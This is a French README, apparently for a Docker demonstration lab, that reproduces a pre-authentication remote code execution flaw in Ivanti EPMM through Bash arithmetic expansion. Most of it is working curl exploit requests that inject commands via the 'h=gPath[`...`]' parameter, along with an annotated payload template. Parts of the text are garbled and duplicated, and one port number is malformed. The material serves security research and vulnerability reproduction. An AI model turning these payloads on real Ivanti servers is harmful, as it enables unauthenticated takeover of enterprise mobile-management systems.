
Une simple application de démonstration qui montre comment reproduire la vulnérabilité RCE pré-authentification Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) à des fins éducatives et de recherche en sécurité.
Une application de démonstration simple qui montre comment reproduire la vulnérabilité RCE pré-authentification Ivanti EPMM (CVE-2026-1281 / CVE-2026-1340) à des fins éducatives et de recherche en sécurité.
Cette vulnérabilité exploite le comportement de l'expansion arithmétique de Bash. Lorsqu'une variable contenant une référence à une autre variable est utilisée dans un contexte arithmétique, et que cette variable référencée contient un index de tableau avec substitution de commande, la commande est exécutée.
st=theValue (chaîne littérale « theValue » avec un remplissage)h=gPath[\commande`]` (commande dans l'index du tableau)theValue à chaque itérationgStartTime est défini sur la chaîne littérale "theValue"theValue contient gPath[\commande`]`[[ ${currentTime} -gt ${gStartTime} ]] est évalué :
${gStartTime} → "theValue" (chaîne)theValue comme une référence de variabletheValue → gPath[\commande`]`# Construire et démarrer le conteneur
docker-compose up --build -d
# Vérifier qu'il fonctionne
curl http://localhost:8180/health
Créez un fichier pour prouver l'exécution de commande :
# Charge utile encodée en URL : id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Vérifier si le fichier a été créé
cat artifacts/poc
Vérifiez avec une commande sleep :
# La réponse devrait prendre ~5 secondes
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Écrire un contenu personnalisé
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMANDE%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Charge utile : gPath[`COMMANDE`]
│ │ └─ Horodatage de fin (10 chiffres quelconques)
│ └─ CRITIQUE : « theValue » littéral + 2 espaces (10 caractères au total)
└─ Index de clé (valeur quelconque)
# Afficher les journaux du conteneur
docker-compose logs -f
# Ouvrir un shell dans le conteneur
docker exec -it ivanti-epmm-vuln /bin/bash
# Vérifier les journaux d'erreur nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
Ceci est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.